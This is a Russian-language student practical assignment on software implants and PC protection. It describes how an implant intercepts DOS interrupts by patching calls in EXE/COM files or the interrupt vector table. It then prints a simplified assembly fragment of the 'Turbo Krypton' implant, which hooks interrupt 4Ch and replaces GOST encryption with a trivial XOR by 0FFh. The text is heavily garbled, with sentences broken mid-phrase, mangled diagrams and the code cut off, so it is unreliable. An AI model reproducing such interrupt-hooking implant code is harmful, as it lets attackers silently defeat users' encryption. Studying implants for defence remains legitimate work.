Автор: Пользователь скрыл имя, 01 Декабря 2011 в 20:26, практическая работа
Цель работы: изучить принцип построения программных закладок и методы защиты от воздействия закладок, изучить разновидности пакетов по защите ПК.
- Принципы защиты от вирусов.
- Что такое спам?
- Принципы защиты от спама.
5. Проверить
компьютер на наличие
6. Установить программу для сохранения образа дисков в файл.
7. Создать резервную копию диска.
8. Ответить
на тесты.
Ход
выполнения практической
работы
1. Составьте
таблицу №1 «Теоретические
2. Разберите
механизмы разрушения
Механизм
разрушения программы
защиты, схем контроля
или изменение
текущего состояния
программной среды
Предположим, что злоумышленнику известна интересующая его программа с точностью до команд реализации на конкретном процессоре. Следовательно, возможно смоделировать процесс ее загрузки и выяснить относительные адреса частей программы относительно сегмента оперативной памяти, в который она загружается. Это означает, что возможно произвольное изменение кода программы и соответственно отклонение (возможно негативного характера) в работе прикладной программы.
Тогда алгоритм действия
1) закладка загружается в
2) закладка осуществляет перехват (редактирование цепочки) одного или нескольких прерываний:
3) по одному из трех событий закладка получает управление на свой код и далее выполняется:
Принципиальная возможность
Сравнение результатов работы
выполняется командой типа СМР,
Наконец, возможен случай, когда
содержательный код программы
защиты вместе со схемой
Основным способом активизации разрушающих закладок является запуск ассоциированных с ними программ. При этом закладка получает управление первой и выполняет какие-либо действия (изменения адресов прерывания на собственные обработчики, исправление в коде программ защиты и т. д.). В данном случае борьба с воздействием закладок может быть произведена только путем контроля целостности исполняемых файлов непосредственно перед их исполнением.
Эти операции связаны с легко идентифицируемым событием в программной среде ПЭВМ - выполнением или завершением прерывания int N.
В рамках принятой модели можно выделить следующие пути воздействия программных закладок.
В ситуации 1:
1.1. Сохранение на внешнем
устройстве информации из
изменяемой области ОЗУ,
1.2. Разрушение информации в
1.3. Определение прерывания int N на собственную программу в ОЗУ путем:
1.3.1. Изменения вызовов int N в пользовательской программе.
1.3.2. Встраивания в цепочки
В ситуации 2:
Пункты 1.1 - 1.3 полностью сохраняются, но добавляется еще один:
2.4. Изменение кода самого исходного обработчика int N.
Пусть работа программно-аппаратного
комплекса строится по следующей
схеме:
Возвpат упpавления
Ё Обpаботчик int N,k Ё
LLLLLL>L*LLLLLL*
Вызов Ё Ё
пользовательской Ё Ё
пpогpаммы
Аппаpатная частьLL>
Тогда возможны следующие ситуации:
1) нападение на пользовательскую
программу, работающую с программно-аппаратным
комплексом, путем исправления в ЕХЕ-
или СОМ-файле данной программы вызовов
прерываний int N (код CD N) на вызов своего
прерывания, например, int М;
int M -----------> Резидентная пpогpамма-закладка
Возвpат упpавления
LLLLLL>L*LLLLLL*
int N Ё Ё
Ё Ё
Аппаpатная частьLL>
2) нападение на обработчик int N.
- исправление в таблице
Таблица прерываний: off1 seg1 ... offN segN ... off255 seg255
segN:offN
-------> Резидентная пpограмма-закладка
Возвpат упpавления
Ё Обpаботчик int N,k Ё
*LLLLLL* *LLLLLLL*
--------> Ё Ё
упpавление не Ё Ё
пеpедается
Аппаpатная частьLL>
-переопределение прерывания на коды закладки с выполнением части функций в программно-аппаратном комплексе, а части - в закладке.
Таблица прерываний:
оff1
seg1 offN segN ... off255 seg255
segN:offN
-------> Резидентная пpограмма-закладка
Ё
Выделение j-й подфункцииLLL©
LLLLLLLLLLLLLLLLLLLLLLLLLLLL>
Ё Возвpат упpавления
Ё
Ё Ё Обpаботчик int N,k Ё
-LLL*LLLLLL* *LLLLLLL*
--------> Ё Ё
упpавление не Ё Ё
пеpедается
Аппаpатная частьLL>
Примером является
программная закладка, маскируемая
под прикладную программу-<ускоритель>
типа "Turbo Krypton".
Обработчик ранних версии платы Krypton, реализующей
алгоритм ГОСТ 28147-89 [11], находился в ПЗУ,
однако не предпринимал никаких
действий по проверке того, на какой адрес
указывает прерывание 4Ch, определенное
комплексом для взаимодействия
с платой. Несмотря на
то, что закладка воздействует
только на демонстрационные
версии программ, работающих
с платой, <разработчикам>
закладки нельзя отказать в
значительной доле юмора - ускорение
программ шифрования по прежнему
привлекает многих.
Пpимеp
4. Упpощенный фpагмент кода
.MODEL TINY
.CODE
org 100h
start:
jmp init
CopyRight db "Turbo Krypton driver 1992."
; Новая функция обработки прерывания 4С
new_4C :
pushf
; начало сравнений рода работы
z1:
; сравнить с родом работы 0 или 1 - зашифрование
сmр аl,0
jne z2
jmp zz
z2:
crm al, 1
jne r1
; реализация зашифрования
zz:
push cx
push si
push di
push ах
; сложение с фиксированным байтом OFFh по модулю 2
zzz:
mov ah,byte ptr ds:[si+8]
xor ah,0FFh
mov byte ptr es:[di],ah
inc di
inc si
loop zzz
pop ах
pop di
pop si
pop cx
jmp end_new_4c
; возврат из прерывания без передачи управления на плату
r1:
; проверка на режим расшифрования - 2 или 3
сmp al, 2
jne r2
jmp rr
r2:
cmp al, 3
jne ost
rr:
push cx
push si
push di
push ах
rrr:
mov ah,byte ptr ds:[si+8]
хоr ah,0FFh
mov byte ptr es:[di],ah
inc di
inc si
loop rrr
pop ах
pop di